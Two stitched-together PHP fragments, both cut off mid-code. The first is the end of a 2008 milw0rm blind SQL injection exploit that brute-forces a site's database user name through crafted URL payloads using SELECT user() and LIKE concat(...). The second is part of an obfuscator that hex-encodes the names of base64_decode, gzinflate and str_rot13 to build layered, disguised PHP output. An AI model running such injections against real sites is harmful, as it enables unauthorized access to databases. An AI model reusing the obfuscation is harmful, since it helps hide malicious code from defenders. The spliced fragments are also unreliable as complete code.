if (preg_match("#{$regexp}#", $rep)) { echo $login_len; $stop = true; } if ($stop == false) { $login_len++; } } echo "\n[+] BF du User : "******"+AND+(SELECT+user())+LIKE+concat({$like},0x25)/*"; $rep = file_get_contents($urlx); if (preg_match("#{$regexp}#", $rep)) { echo $Stackl; $login .= $Stackl; $ok = true; } } } echo "\n\n[+] Injection Completed \n"; echo "\t User : {$login}\n\t"; ?> # milw0rm.com [2008-09-22]
$encodedContent = encode($content); #add preambul fwrite($out, "<?php "); #split function names $e64s = stringtochar("base64_encode"); $e64v = 'o' . md5($time . "base64_encode"); $d64s = stringtochar("base64_decode"); $d64v = 'o' . md5($time . "base64_decode"); $ezips = stringtochar("gzdeflate"); $ezipv = 'o' . md5($time . "gzdeflate"); $dzips = stringtochar("gzinflate"); $dzipv = 'o' . md5($time . "gzinflate"); $rot13s = stringtochar("str_rot13"); $rot13v = 'o' . md5($time . "str_rot13"); #continue preambul fwrite($out, sprintf("\$%s=\"%s\";", $time, stringtohex("base64_decode"))); ##CREATE SECOND LEVEL OF CONTENT $secondLevelContent = ''; #generate variable name building for ($i = 0; $i < 15; $i++) { if (isset($e64s[$i])) { if ($i == 0) { $secondLevelContent .= sprintf("\$%s=\"\\x%s\";\n", $e64v, dechex(ord($e64s[$i]))); } else { $secondLevelContent .= sprintf("\$%s.=\"\\x%s\";\n", $e64v, dechex(ord($e64s[$i]))); } } if (isset($d64s[$i])) { if ($i == 0) { $secondLevelContent .= sprintf("\$%s=\"\\x%s\";\n", $d64v, dechex(ord($d64s[$i]))); } else {